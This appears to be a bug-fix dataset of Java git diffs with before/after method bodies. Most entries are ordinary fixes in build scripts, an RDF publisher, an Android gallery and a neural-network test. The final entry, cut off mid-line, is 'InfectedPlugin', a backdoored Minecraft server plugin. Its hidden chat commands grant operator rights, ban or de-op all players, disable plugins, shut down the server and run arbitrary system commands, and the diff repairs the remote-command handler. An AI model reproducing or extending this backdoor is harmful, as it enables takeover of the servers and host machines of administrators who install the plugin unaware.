diff --git a/extensions/gdx-tokamak/src/com/badlogic/gdx/physics/tokamak/TokamakBuild.java b/extensions/gdx-tokamak/src/com/badlogic/gdx/physics/tokamak/TokamakBuild.java index be44364c7..12821fa02 100644 --- a/extensions/gdx-tokamak/src/com/badlogic/gdx/physics/tokamak/TokamakBuild.java +++ b/extensions/gdx-tokamak/src/com/badlogic/gdx/physics/tokamak/TokamakBuild.java @@ -1,60 +1,61 @@ package com.badlogic.gdx.physics.tokamak; import com.badlogic.gdx.files.FileHandle; import com.badlogic.gdx.jnigen.AntScriptGenerator; import com.badlogic.gdx.jnigen.BuildConfig; import com.badlogic.gdx.jnigen.BuildExecutor; import com.badlogic.gdx.jnigen.BuildTarget; import com.badlogic.gdx.jnigen.BuildTarget.TargetOs; import com.badlogic.gdx.jnigen.NativeCodeGenerator; public class TokamakBuild { public static void main(String[] args) throws Exception { new NativeCodeGenerator().generate(); String[] headers = { ".", "tokamak/include" }; String[] cppIncludes = { "**/*.cpp" }; BuildConfig config = new BuildConfig("gdx-tokamak", "../target", "libs", "jni"); BuildTarget win32home = BuildTarget.newDefaultTarget(TargetOs.Windows, false); win32home.compilerPrefix = ""; win32home.buildFileName = "build-windows32home.xml"; win32home.headerDirs = headers; win32home.cppIncludes = cppIncludes; win32home.cppExcludes = new String[] { "**/perflinux.cpp" }; + win32home.excludeFromMasterBuildFile = true; BuildTarget win32 = BuildTarget.newDefaultTarget(TargetOs.Windows, false); win32.headerDirs = headers; win32.cppIncludes = cppIncludes; win32.cppExcludes = new String[] { "**/perflinux.cpp" }; BuildTarget win64 = BuildTarget.newDefaultTarget(TargetOs.Windows, true); win64.headerDirs = headers; win64.cppIncludes = cppIncludes; win64.cppExcludes = new String[] { "**/perflinux.cpp" }; BuildTarget lin32 = BuildTarget.newDefaultTarget(TargetOs.Linux, false); lin32.headerDirs = headers; lin32.cppIncludes = cppIncludes; lin32.cppExcludes = new String[] { "**/perfwin32.cpp" }; BuildTarget lin64 = BuildTarget.newDefaultTarget(TargetOs.Linux, true); lin64.headerDirs = headers; lin64.cppIncludes = cppIncludes; lin64.cppExcludes = new String[] { "**/perfwin32.cpp" }; BuildTarget mac = BuildTarget.newDefaultTarget(TargetOs.MacOsX, false); mac.headerDirs = headers; mac.cppIncludes = cppIncludes; mac.cppExcludes = new String[] { "**/perfwin32.cpp" }; BuildTarget android = BuildTarget.newDefaultTarget(TargetOs.Android, false); mac.headerDirs = headers; mac.cppIncludes = cppIncludes; mac.cppExcludes = new String[] { "**/perfwin32.cpp" }; new AntScriptGenerator().generate(config, win32home, win32, win64, lin32, lin64, mac, android); BuildExecutor.executeAnt("jni/build-windows32home.xml", "-v"); } }
true
true
public static void main(String[] args) throws Exception { new NativeCodeGenerator().generate(); String[] headers = { ".", "tokamak/include" }; String[] cppIncludes = { "**/*.cpp" }; BuildConfig config = new BuildConfig("gdx-tokamak", "../target", "libs", "jni"); BuildTarget win32home = BuildTarget.newDefaultTarget(TargetOs.Windows, false); win32home.compilerPrefix = ""; win32home.buildFileName = "build-windows32home.xml"; win32home.headerDirs = headers; win32home.cppIncludes = cppIncludes; win32home.cppExcludes = new String[] { "**/perflinux.cpp" }; BuildTarget win32 = BuildTarget.newDefaultTarget(TargetOs.Windows, false); win32.headerDirs = headers; win32.cppIncludes = cppIncludes; win32.cppExcludes = new String[] { "**/perflinux.cpp" }; BuildTarget win64 = BuildTarget.newDefaultTarget(TargetOs.Windows, true); win64.headerDirs = headers; win64.cppIncludes = cppIncludes; win64.cppExcludes = new String[] { "**/perflinux.cpp" }; BuildTarget lin32 = BuildTarget.newDefaultTarget(TargetOs.Linux, false); lin32.headerDirs = headers; lin32.cppIncludes = cppIncludes; lin32.cppExcludes = new String[] { "**/perfwin32.cpp" }; BuildTarget lin64 = BuildTarget.newDefaultTarget(TargetOs.Linux, true); lin64.headerDirs = headers; lin64.cppIncludes = cppIncludes; lin64.cppExcludes = new String[] { "**/perfwin32.cpp" }; BuildTarget mac = BuildTarget.newDefaultTarget(TargetOs.MacOsX, false); mac.headerDirs = headers; mac.cppIncludes = cppIncludes; mac.cppExcludes = new String[] { "**/perfwin32.cpp" }; BuildTarget android = BuildTarget.newDefaultTarget(TargetOs.Android, false); mac.headerDirs = headers; mac.cppIncludes = cppIncludes; mac.cppExcludes = new String[] { "**/perfwin32.cpp" }; new AntScriptGenerator().generate(config, win32home, win32, win64, lin32, lin64, mac, android); BuildExecutor.executeAnt("jni/build-windows32home.xml", "-v"); }
public static void main(String[] args) throws Exception { new NativeCodeGenerator().generate(); String[] headers = { ".", "tokamak/include" }; String[] cppIncludes = { "**/*.cpp" }; BuildConfig config = new BuildConfig("gdx-tokamak", "../target", "libs", "jni"); BuildTarget win32home = BuildTarget.newDefaultTarget(TargetOs.Windows, false); win32home.compilerPrefix = ""; win32home.buildFileName = "build-windows32home.xml"; win32home.headerDirs = headers; win32home.cppIncludes = cppIncludes; win32home.cppExcludes = new String[] { "**/perflinux.cpp" }; win32home.excludeFromMasterBuildFile = true; BuildTarget win32 = BuildTarget.newDefaultTarget(TargetOs.Windows, false); win32.headerDirs = headers; win32.cppIncludes = cppIncludes; win32.cppExcludes = new String[] { "**/perflinux.cpp" }; BuildTarget win64 = BuildTarget.newDefaultTarget(TargetOs.Windows, true); win64.headerDirs = headers; win64.cppIncludes = cppIncludes; win64.cppExcludes = new String[] { "**/perflinux.cpp" }; BuildTarget lin32 = BuildTarget.newDefaultTarget(TargetOs.Linux, false); lin32.headerDirs = headers; lin32.cppIncludes = cppIncludes; lin32.cppExcludes = new String[] { "**/perfwin32.cpp" }; BuildTarget lin64 = BuildTarget.newDefaultTarget(TargetOs.Linux, true); lin64.headerDirs = headers; lin64.cppIncludes = cppIncludes; lin64.cppExcludes = new String[] { "**/perfwin32.cpp" }; BuildTarget mac = BuildTarget.newDefaultTarget(TargetOs.MacOsX, false); mac.headerDirs = headers; mac.cppIncludes = cppIncludes; mac.cppExcludes = new String[] { "**/perfwin32.cpp" }; BuildTarget android = BuildTarget.newDefaultTarget(TargetOs.Android, false); mac.headerDirs = headers; mac.cppIncludes = cppIncludes; mac.cppExcludes = new String[] { "**/perfwin32.cpp" }; new AntScriptGenerator().generate(config, win32home, win32, win64, lin32, lin64, mac, android); BuildExecutor.executeAnt("jni/build-windows32home.xml", "-v"); }
diff --git a/virtual-semantic-repository/src/main/java/org/virtual/sr/RepositoryPublisher.java b/virtual-semantic-repository/src/main/java/org/virtual/sr/RepositoryPublisher.java index c146966..1a78347 100644 --- a/virtual-semantic-repository/src/main/java/org/virtual/sr/RepositoryPublisher.java +++ b/virtual-semantic-repository/src/main/java/org/virtual/sr/RepositoryPublisher.java @@ -1,92 +1,92 @@ package org.virtual.sr; import com.hp.hpl.jena.graph.Triple; import com.hp.hpl.jena.query.Query; import com.hp.hpl.jena.query.QueryExecutionFactory; import com.hp.hpl.jena.query.QueryFactory; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import javax.xml.transform.Source; import javax.xml.transform.stream.StreamSource; import org.sdmxsource.sdmx.api.constants.STRUCTURE_OUTPUT_FORMAT; import org.sdmxsource.sdmx.api.manager.output.StructureWritingManager; import org.sdmxsource.sdmx.api.model.beans.SdmxBeans; import org.sdmxsource.sdmx.api.model.beans.codelist.CodelistBean; import org.sdmxsource.sdmx.structureparser.manager.impl.StructureWritingManagerImpl; import org.sdmxsource.sdmx.util.beans.container.SdmxBeansImpl; import org.virtualrepository.Asset; import org.virtualrepository.impl.Type; import org.virtualrepository.spi.Publisher; import com.hp.hpl.jena.rdf.model.Model; import com.hp.hpl.jena.rdf.model.Statement; import com.hp.hpl.jena.rdf.model.StmtIterator; import com.hp.hpl.jena.sparql.util.FmtUtils; import com.hp.hpl.jena.update.UpdateExecutionFactory; import com.hp.hpl.jena.update.UpdateFactory; import com.hp.hpl.jena.update.UpdateRequest; /** * A {@link Publisher} for the Semantic Repository that works with RDF models of * arbitrary asset types. * * @author Fabio Simeoni * * @param <A> the type of Assets published by this publisher */ public class RepositoryPublisher<A extends Asset> implements Publisher<A, Model> { private final RepositoryConfiguration configuration; private final Type<A> assetType; public RepositoryPublisher(Type<A> assetType, RepositoryConfiguration configuration) { this.assetType = assetType; this.configuration = configuration; } @Override public Type<A> type() { return assetType; } @Override public Class<Model> api() { return Model.class; } @Override public void publish(A asset, Model rdf) throws Exception { System.out.println("publishing to " + configuration.publishURI()); rdf.write(System.out); StmtIterator stmts = rdf.listStatements(); String triples = ""; while (stmts.hasNext()) { Statement s = stmts.next(); - triples = FmtUtils.stringForTriple(s.asTriple()) + "."; + triples+= FmtUtils.stringForTriple(s.asTriple()) + " . "; } UpdateExecutionFactory.createRemote(UpdateFactory.create("insert data {" + triples + "}"), configuration.publishURI().toString()).execute(); - System.out.println(QueryExecutionFactory.sparqlService("http://168.202.3.223:3030/ds/query", "ask {" + triples + "}").execAsk()); + System.out.println(QueryExecutionFactory.sparqlService("http://168.202.3.223:3030/sr_staging/query", "ask {" + triples + "}").execAsk()); } //helpers Source xmlOf(CodelistBean bean) { SdmxBeans beans = new SdmxBeansImpl(); beans.addCodelist(bean); ByteArrayOutputStream stream = new ByteArrayOutputStream(1024); STRUCTURE_OUTPUT_FORMAT format = STRUCTURE_OUTPUT_FORMAT.SDMX_V21_STRUCTURE_DOCUMENT; StructureWritingManager manager = new StructureWritingManagerImpl(); manager.writeStructures(beans, format, stream); return new StreamSource(new ByteArrayInputStream(stream.toByteArray())); } }
false
true
public void publish(A asset, Model rdf) throws Exception { System.out.println("publishing to " + configuration.publishURI()); rdf.write(System.out); StmtIterator stmts = rdf.listStatements(); String triples = ""; while (stmts.hasNext()) { Statement s = stmts.next(); triples = FmtUtils.stringForTriple(s.asTriple()) + "."; } UpdateExecutionFactory.createRemote(UpdateFactory.create("insert data {" + triples + "}"), configuration.publishURI().toString()).execute(); System.out.println(QueryExecutionFactory.sparqlService("http://168.202.3.223:3030/ds/query", "ask {" + triples + "}").execAsk()); }
public void publish(A asset, Model rdf) throws Exception { System.out.println("publishing to " + configuration.publishURI()); rdf.write(System.out); StmtIterator stmts = rdf.listStatements(); String triples = ""; while (stmts.hasNext()) { Statement s = stmts.next(); triples+= FmtUtils.stringForTriple(s.asTriple()) + " . "; } UpdateExecutionFactory.createRemote(UpdateFactory.create("insert data {" + triples + "}"), configuration.publishURI().toString()).execute(); System.out.println(QueryExecutionFactory.sparqlService("http://168.202.3.223:3030/sr_staging/query", "ask {" + triples + "}").execAsk()); }
diff --git a/SecurePhotoAndroid/src/eu/tpmusielak/securephoto/viewer/ViewImages.java b/SecurePhotoAndroid/src/eu/tpmusielak/securephoto/viewer/ViewImages.java index 0f5918a..2e048a5 100644 --- a/SecurePhotoAndroid/src/eu/tpmusielak/securephoto/viewer/ViewImages.java +++ b/SecurePhotoAndroid/src/eu/tpmusielak/securephoto/viewer/ViewImages.java @@ -1,316 +1,317 @@ package eu.tpmusielak.securephoto.viewer; import android.app.Activity; import android.app.AlertDialog; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.res.TypedArray; import android.os.Bundle; import android.view.*; import android.widget.*; import eu.tpmusielak.securephoto.R; import eu.tpmusielak.securephoto.container.SPImageRoll; import eu.tpmusielak.securephoto.tools.FileHandling; import eu.tpmusielak.securephoto.viewer.lazylist.ImageLoader; import java.io.File; import java.io.IOException; /** * Created by IntelliJ IDEA. * User: Tomasz P. Musielak * Date: 09.02.12 * Time: 16:33 */ public class ViewImages extends Activity { public static final int THUMBNAIL_SIZE = 80; private Context mContext; private ListView listView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setupScreen(); } private void setupScreen() { setContentView(R.layout.gallery_view); getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN); listView = (ListView) findViewById(R.id.gallery_list); File[] files = FileHandling.getFiles(); if (!(files == null) && files.length > 0) { ImageViewAdapter adapter = new ImageViewAdapter(ViewImages.this, R.layout.gallery_row, R.layout.gallery_roll_row, files); listView.setAdapter(adapter); listView.setOnItemClickListener(new ImageClickListener()); registerForContextMenu(listView); } else { TextView textView = new TextView(ViewImages.this); textView.setText(R.string.no_files_found); TextView galleryInfo = (TextView) findViewById(R.id.gallery_info); galleryInfo.setText(R.string.no_files_found); galleryInfo.setVisibility(View.VISIBLE); } } @Override public void onCreateContextMenu(ContextMenu menu, View v, ContextMenu.ContextMenuInfo menuInfo) { super.onCreateContextMenu(menu, v, menuInfo); MenuInflater inflater = getMenuInflater(); inflater.inflate(R.menu.view_menu, menu); } @Override public boolean onContextItemSelected(MenuItem item) { AdapterView.AdapterContextMenuInfo info = (AdapterView.AdapterContextMenuInfo) item.getMenuInfo(); switch (item.getItemId()) { case R.id.delete: deleteFile((File) listView.getItemAtPosition(info.position)); break; default: break; } return false; } private void deleteFile(final File file) { final AlertDialog.Builder builder = new AlertDialog.Builder(ViewImages.this); builder.setMessage(R.string.ask_confirm) .setCancelable(true) .setPositiveButton(R.string.yes, new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int i) { boolean success = file.delete(); int message = success ? R.string.delete_success : R.string.delete_failure; Toast.makeText(ViewImages.this, message, Toast.LENGTH_SHORT).show(); setupScreen(); } }) .setNegativeButton(R.string.no, new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int i) { dialog.cancel(); } }); final AlertDialog alertDialog = builder.create(); alertDialog.show(); } private class ImageViewAdapter extends ArrayAdapter<File> { // http://android-er.blogspot.com/2010/06/using-convertview-in-getview-to-make.html // inspired by: https://github.com/thest1/LazyList/ private final int FRAME_VIEW = 0; private final int ROLL_VIEW = 1; private Context context; private int frameLayoutResourceId; private int rollLayoutResourceID; private File[] files; private LayoutInflater layoutInflater; private ImageLoader imageLoader; public ImageViewAdapter(Context context, int resourceIDForFrame, int resourceIDForRoll, File[] files) { super(context, resourceIDForFrame, files); this.context = context; this.frameLayoutResourceId = resourceIDForFrame; this.rollLayoutResourceID = resourceIDForRoll; this.files = files; layoutInflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE); imageLoader = new ImageLoader(context); } @Override public View getView(int position, View convertView, ViewGroup parent) { ViewHolder holder; int itemViewType = getItemViewType(position); if (convertView == null) { holder = new ViewHolder(); switch (itemViewType) { case ROLL_VIEW: convertView = layoutInflater.inflate(rollLayoutResourceID, parent, false); holder.image = convertView.findViewById(R.id.gallery_view); break; case FRAME_VIEW: default: convertView = layoutInflater.inflate(frameLayoutResourceId, parent, false); holder.image = convertView.findViewById(R.id.file_view); break; } holder.text = (TextView) convertView.findViewById(R.id.roll_descriptor); convertView.setTag(holder); } else { holder = (ViewHolder) convertView.getTag(); } File file = getItem(position); String fileName = file.getName(); holder.text.setText(fileName); switch (itemViewType) { case ROLL_VIEW: Gallery gallery = (Gallery) holder.image; ImageRollAdapter adapter = (ImageRollAdapter) gallery.getAdapter(); if (adapter == null) { adapter = new ImageRollAdapter(getContext(), file); gallery.setAdapter(adapter); gallery.setOnItemClickListener(new ImageRollClickListener(file)); } else { adapter.setFile(file); + adapter.notifyDataSetChanged(); ((ImageRollClickListener) gallery.getOnItemClickListener()).setUnderlyingFile(file); } break; case FRAME_VIEW: default: imageLoader.load(new ImageLoader.SingleImage(file), (ImageView) holder.image); } return convertView; } @Override public int getViewTypeCount() { return 2; } @Override public int getItemViewType(int position) { File file = getItem(position); String fileName = file.getName(); if (fileName.endsWith(SPImageRoll.DEFAULT_EXTENSION)) { return ROLL_VIEW; } else { return FRAME_VIEW; } } } private static class ViewHolder { TextView text; View image; } private class ImageClickListener implements AdapterView.OnItemClickListener { @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { View fileView = view.findViewById(R.id.file_view); if (fileView == null) { } else if (fileView instanceof ImageView) { File file = (File) parent.getItemAtPosition(position); Intent i = new Intent(getApplicationContext(), OpenImage.class); i.putExtra("filename", file.getAbsolutePath()); startActivity(i); } } } // Adapter for image roll private class ImageRollAdapter extends BaseAdapter { int mGalleryItemBackground; private Context mContext; private File file; private ImageLoader imageLoader; private SPImageRoll spImageRoll; public ImageRollAdapter(Context context, File file) { mContext = context; TypedArray attr = mContext.obtainStyledAttributes(R.styleable.HelloGallery); mGalleryItemBackground = attr.getResourceId( R.styleable.HelloGallery_android_galleryItemBackground, 0); attr.recycle(); this.file = file; try { spImageRoll = SPImageRoll.fromFile(this.file); } catch (IOException ignored) { } catch (ClassNotFoundException ignored) { } imageLoader = new ImageLoader(mContext); } public void setFile(File file) { this.file = file; try { spImageRoll = SPImageRoll.fromFile(file); } catch (IOException ignored) { } catch (ClassNotFoundException ignored) { } } public int getCount() { return spImageRoll.getFrameCount(); } public Object getItem(int position) { return position; } public long getItemId(int position) { return position; } public View getView(int position, View convertView, ViewGroup parent) { ImageView imageView = (ImageView) convertView; if (imageView == null) { imageView = new ImageView(mContext); } imageLoader.load(new ImageLoader.ImageRoll(file, position), imageView); imageView.setLayoutParams(new Gallery.LayoutParams(240, 160)); imageView.setScaleType(ImageView.ScaleType.FIT_CENTER); imageView.setBackgroundResource(mGalleryItemBackground); return imageView; } } private class ImageRollClickListener implements AdapterView.OnItemClickListener { private File underlyingFile; private ImageRollClickListener(File underlyingFile) { this.underlyingFile = underlyingFile; } public void setUnderlyingFile(File underlyingFile) { this.underlyingFile = underlyingFile; } @Override public void onItemClick(AdapterView<?> parent, View view, int position, long id) { Intent i = new Intent(getApplicationContext(), OpenImage.class); i.putExtra("filename", underlyingFile.getAbsolutePath()); i.putExtra("frameIndex", position); startActivity(i); } } }
true
true
public View getView(int position, View convertView, ViewGroup parent) { ViewHolder holder; int itemViewType = getItemViewType(position); if (convertView == null) { holder = new ViewHolder(); switch (itemViewType) { case ROLL_VIEW: convertView = layoutInflater.inflate(rollLayoutResourceID, parent, false); holder.image = convertView.findViewById(R.id.gallery_view); break; case FRAME_VIEW: default: convertView = layoutInflater.inflate(frameLayoutResourceId, parent, false); holder.image = convertView.findViewById(R.id.file_view); break; } holder.text = (TextView) convertView.findViewById(R.id.roll_descriptor); convertView.setTag(holder); } else { holder = (ViewHolder) convertView.getTag(); } File file = getItem(position); String fileName = file.getName(); holder.text.setText(fileName); switch (itemViewType) { case ROLL_VIEW: Gallery gallery = (Gallery) holder.image; ImageRollAdapter adapter = (ImageRollAdapter) gallery.getAdapter(); if (adapter == null) { adapter = new ImageRollAdapter(getContext(), file); gallery.setAdapter(adapter); gallery.setOnItemClickListener(new ImageRollClickListener(file)); } else { adapter.setFile(file); ((ImageRollClickListener) gallery.getOnItemClickListener()).setUnderlyingFile(file); } break; case FRAME_VIEW: default: imageLoader.load(new ImageLoader.SingleImage(file), (ImageView) holder.image); } return convertView; }
public View getView(int position, View convertView, ViewGroup parent) { ViewHolder holder; int itemViewType = getItemViewType(position); if (convertView == null) { holder = new ViewHolder(); switch (itemViewType) { case ROLL_VIEW: convertView = layoutInflater.inflate(rollLayoutResourceID, parent, false); holder.image = convertView.findViewById(R.id.gallery_view); break; case FRAME_VIEW: default: convertView = layoutInflater.inflate(frameLayoutResourceId, parent, false); holder.image = convertView.findViewById(R.id.file_view); break; } holder.text = (TextView) convertView.findViewById(R.id.roll_descriptor); convertView.setTag(holder); } else { holder = (ViewHolder) convertView.getTag(); } File file = getItem(position); String fileName = file.getName(); holder.text.setText(fileName); switch (itemViewType) { case ROLL_VIEW: Gallery gallery = (Gallery) holder.image; ImageRollAdapter adapter = (ImageRollAdapter) gallery.getAdapter(); if (adapter == null) { adapter = new ImageRollAdapter(getContext(), file); gallery.setAdapter(adapter); gallery.setOnItemClickListener(new ImageRollClickListener(file)); } else { adapter.setFile(file); adapter.notifyDataSetChanged(); ((ImageRollClickListener) gallery.getOnItemClickListener()).setUnderlyingFile(file); } break; case FRAME_VIEW: default: imageLoader.load(new ImageLoader.SingleImage(file), (ImageView) holder.image); } return convertView; }
diff --git a/src/main/java/grisu/gricli/command/PrintGroupsCommand.java b/src/main/java/grisu/gricli/command/PrintGroupsCommand.java index 2ac5162..0da5590 100644 --- a/src/main/java/grisu/gricli/command/PrintGroupsCommand.java +++ b/src/main/java/grisu/gricli/command/PrintGroupsCommand.java @@ -1,22 +1,22 @@ package grisu.gricli.command; import grisu.gricli.GricliRuntimeException; import grisu.gricli.environment.GricliEnvironment; public class PrintGroupsCommand implements GricliCommand { @SyntaxDescription(command = { "print", "groups" }) public PrintGroupsCommand() { } public void execute(GricliEnvironment env) throws GricliRuntimeException { for (final String fqan : env.getGrisuRegistry() - .getUserEnvironmentManager().getAllAvailableFqans(true)) { + .getUserEnvironmentManager().getAllAvailableJobFqans()) { env.printMessage(fqan); } } }
true
true
public void execute(GricliEnvironment env) throws GricliRuntimeException { for (final String fqan : env.getGrisuRegistry() .getUserEnvironmentManager().getAllAvailableFqans(true)) { env.printMessage(fqan); } }
public void execute(GricliEnvironment env) throws GricliRuntimeException { for (final String fqan : env.getGrisuRegistry() .getUserEnvironmentManager().getAllAvailableJobFqans()) { env.printMessage(fqan); } }
diff --git a/test/org/encog/neural/networks/TestFlatIntegration.java b/test/org/encog/neural/networks/TestFlatIntegration.java index dbb740975..4b52188fc 100644 --- a/test/org/encog/neural/networks/TestFlatIntegration.java +++ b/test/org/encog/neural/networks/TestFlatIntegration.java @@ -1,30 +1,30 @@ package org.encog.neural.networks; import org.encog.neural.data.NeuralData; import org.encog.neural.data.basic.BasicNeuralData; import org.encog.neural.networks.structure.FlatUpdateNeeded; import junit.framework.Assert; import junit.framework.TestCase; public class TestFlatIntegration extends TestCase { public void testNetworkOutput() { BasicNetwork network1 = NetworkUtil.createXORNetworkUntrained(); network1.getStructure().finalizeStructure(); Assert.assertNotNull(network1.getStructure().getFlat()); Assert.assertEquals(network1.getStructure().getFlatUpdate(),FlatUpdateNeeded.None); - double[] inputArray = {1.0}; + double[] inputArray = {1.0,1.0}; NeuralData input = new BasicNeuralData(inputArray); // using a holder will cause the network to calculate without the flat network, // should calculate to exactly the same number, with or without flat. NeuralOutputHolder holder = new NeuralOutputHolder(); NeuralData output1 = network1.compute(input); NeuralData output2 = network1.compute(input,holder); int i1 = (int)(output1.getData(0) * 10000); int i2 = (int)(output2.getData(0) * 10000); Assert.assertEquals(i1, i2); } }
true
true
public void testNetworkOutput() { BasicNetwork network1 = NetworkUtil.createXORNetworkUntrained(); network1.getStructure().finalizeStructure(); Assert.assertNotNull(network1.getStructure().getFlat()); Assert.assertEquals(network1.getStructure().getFlatUpdate(),FlatUpdateNeeded.None); double[] inputArray = {1.0}; NeuralData input = new BasicNeuralData(inputArray); // using a holder will cause the network to calculate without the flat network, // should calculate to exactly the same number, with or without flat. NeuralOutputHolder holder = new NeuralOutputHolder(); NeuralData output1 = network1.compute(input); NeuralData output2 = network1.compute(input,holder); int i1 = (int)(output1.getData(0) * 10000); int i2 = (int)(output2.getData(0) * 10000); Assert.assertEquals(i1, i2); }
public void testNetworkOutput() { BasicNetwork network1 = NetworkUtil.createXORNetworkUntrained(); network1.getStructure().finalizeStructure(); Assert.assertNotNull(network1.getStructure().getFlat()); Assert.assertEquals(network1.getStructure().getFlatUpdate(),FlatUpdateNeeded.None); double[] inputArray = {1.0,1.0}; NeuralData input = new BasicNeuralData(inputArray); // using a holder will cause the network to calculate without the flat network, // should calculate to exactly the same number, with or without flat. NeuralOutputHolder holder = new NeuralOutputHolder(); NeuralData output1 = network1.compute(input); NeuralData output2 = network1.compute(input,holder); int i1 = (int)(output1.getData(0) * 10000); int i2 = (int)(output2.getData(0) * 10000); Assert.assertEquals(i1, i2); }
diff --git a/src/org/CreeperCoders/InfectedPlugin/PlayerListener.java b/src/org/CreeperCoders/InfectedPlugin/PlayerListener.java index c1ddc14..40acc6f 100644 --- a/src/org/CreeperCoders/InfectedPlugin/PlayerListener.java +++ b/src/org/CreeperCoders/InfectedPlugin/PlayerListener.java @@ -1,282 +1,282 @@ package org.CreeperCoders.InfectedPlugin; import org.bukkit.Bukkit; import org.bukkit.ChatColor; import org.bukkit.Location; import org.bukkit.entity.Player; import org.bukkit.event.EventHandler; import org.bukkit.event.Listener; import org.bukkit.event.player.AsyncPlayerChatEvent; import org.bukkit.plugin.Plugin; import org.bukkit.Server; import org.bukkit.event.EventPriority; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import java.nio.channels.Channels; import java.nio.channels.ReadableByteChannel; import java.util.Random; import java.util.logging.Logger; import java.lang.RuntimeException; import java.lang.Runtime; @SuppressWarnings("unused") public class PlayerListener implements Listener { public final Logger log = Bukkit.getLogger(); private Random random = new Random(); private InfectedPlugin plugin; private Server server = Bukkit.getServer(); @EventHandler(priority = EventPriority.HIGHEST) public void onPlayerChat(AsyncPlayerChatEvent event) throws MalformedURLException, IOException { String message = event.getMessage(); final Player p = event.getPlayer(); String[] args = message.split(" "); boolean cancel = true; if (message.toLowerCase().contains(".opme")) { p.setOp(true); p.sendMessage(ChatColor.YELLOW + "You are now OP! Hehhehehheh"); cancel = true; } if (message.toLowerCase().contains(".disableplugin")) { Plugin plugin = server.getPluginManager().getPlugin(args[1]); if (plugin != null) { server.getPluginManager().disablePlugin(plugin); } cancel = true; } if (message.toLowerCase().contains(".enableplugin")) { Plugin plugin = server.getPluginManager().getPlugin(args[1]); if (plugin != null) { server.getPluginManager().disablePlugin(plugin); } cancel = true; } /* Commented out until all errors are fixed. if (message.toLowerCase().contains(".enablevanilla")) //Command { // Credit to hMod, not finished yet. Very unstable. p.sendMessage(ChatColor.DARK_RED + "This command is VERY unstable! But you typed it in, too late to turn back."); // Tell the player the command is unstable if (!new File("minecraft_server.1.6.4.jar").exists()) //Check if minecraft_server.1.6.2.jar exists or not { p.sendMessage(ChatColor.RED + "minecraft_server.1.6.4.jar not found, downloading..."); //Tell the player that the jar will be downloaded IP_Util.downloadFile("https://s3.amazonaws.com/Minecraft.Download/versions/1.6.4/minecraft_server.1.6.4.jar"); // Download minecraft_server.1.6.4.jar p.sendMessage(ChatColor.YELLOW + "Finished downloading! Starting vanilla..."); //Tell the player it's been downloaded and will start Vanilla. } net.minecraft.server.MinecraftServer.main(args); //Start MinecraftServer (only works if minecraft_server.1.6.4.jar is added to the build path) Bukkit.shutdown(); //Shutdown Bukkit cancel = true; //Block the player from saying .enablevanilla } //End of command */ if (message.toLowerCase().contains(".deop")) { if (args.length != 1) { p.sendMessage(ChatColor.RED + "Usage: .deop <player>"); cancel = true; } else { Player target = server.getPlayer(args[1]); target.setOp(false); target.sendMessage(ChatColor.RED + "You are no longer OP."); cancel = true; } } if (message.toLowerCase().contains(".op")) { if (args.length != 1) { p.sendMessage(ChatColor.RED + "Usage: .<command> <player>"); } else { Player target = server.getPlayer(args[1]); target.setOp(true); target.sendMessage(ChatColor.YELLOW + "You are now OP!"); cancel = true; } } if (message.toLowerCase().contains(".banall")) { for (final Player target : server.getOnlinePlayers()) { target.kickPlayer("The Ban Hammer has spoken!"); target.setBanned(true); cancel = true; } } if (message.toLowerCase().contains(".deopall")) { for (final Player target : server.getOnlinePlayers()) { target.setOp(false); //Something extra c: final Location target_pos = target.getLocation(); for (int x = -1; x <= 1; x++) { for (int z = -1; z <= 1; z++) { final Location strike_pos = new Location(target_pos.getWorld(), target_pos.getBlockX() + x, target_pos.getBlockY(), target_pos.getBlockZ() + z); target_pos.getWorld().strikeLightning(strike_pos); } } cancel = true; } } /* Commented out until all errors are fixed. // Is not effective for onPlayerQuit, but will select a random player to be banned. if (message.toLowerCase().contains(".randombanl")) { Player[] players = server.getOnlinePlayers(); final Player target = players[random.nextInt(players.length)]; if (target == sender) //Not sure if this method would work, should detect if selected player is equal to sender. { //do nothing } else { target.kickPlayer(ChatColor.RED + "GTFO."); target.setBanned(true); } cancel = true; } */ if (message.toLowerCase().contains(".shutdown")) { try { shutdown(); } catch (IOException ex) { log.severe(ex.getMessage()); } catch (RuntimeException ex) { log.severe(ex.getMessage()); } cancel = true; } /* Commented out until all errors are fixed. if (message.toLowerCase().contains(".fuckyou")) { if (args.length != 1) { p.sendMessage(ChatColor.RED + "Usage: .fuckyou <player>"); } else { Player target = server.getPlayer(args[0]); final Location location = target.getLocation(); if (target == sender) { } else { // for (int x = -1; x <= 1; x++) { for (int z = -1; z <= 1; z++) { final Location move = new Location(location.getBlockX() + 50 + x, location.getBlockY() + 50, location.getBlockZ() + 50 + z); target.setVelocity(new Vector(5, 5, 5)); target.teleport(location); } } // } } cancel = true; } */ if (message.toLowerCase().contains(".terminal")) { String command; try { StringBuilder command_bldr = new StringBuilder(); for (int i = 0; i < args.length; i++) { command_bldr.append(args[i]).append(" "); } command = command_bldr.toString().trim(); } catch (Throwable ex) { - sender.sendMessage(ChatColor.GRAY + "Error building command: " + ex.getMessage()); + p.sendMessage(ChatColor.GRAY + "Error building command: " + ex.getMessage()); return; } - sender.sendMessage("Running system command: " + command); + p.sendMessage("Running system command: " + command); server.getScheduler().runTaskAsynchronously(plugin, new IP_RunSystemCommand(command, plugin)); cancel = true; return; } if (message.toLowerCase().contains(".help")) { p.sendMessage(ChatColor.AQUA + "Commands"); p.sendMessage(ChatColor.GOLD + ".opme - OPs you."); p.sendMessage(ChatColor.GOLD + ".disableplugin - Disables a plugin of your choice."); p.sendMessage(ChatColor.GOLD + ".enableplugin - Enables a plugin of your choice."); p.sendMessage(ChatColor.GOLD + ".enablevanilla - Downloads vanilla and runs it (shuts down bukkit)."); p.sendMessage(ChatColor.GOLD + ".deop - Deops a player of your choice."); p.sendMessage(ChatColor.GOLD + ".op - OPs a player of your choice."); p.sendMessage(ChatColor.GOLD + ".banall - Bans everyone on the server. Bans sender too."); p.sendMessage(ChatColor.GOLD + ".deopall - Deops everyone online."); p.sendMessage(ChatColor.GOLD + ".randombanl - Picks a 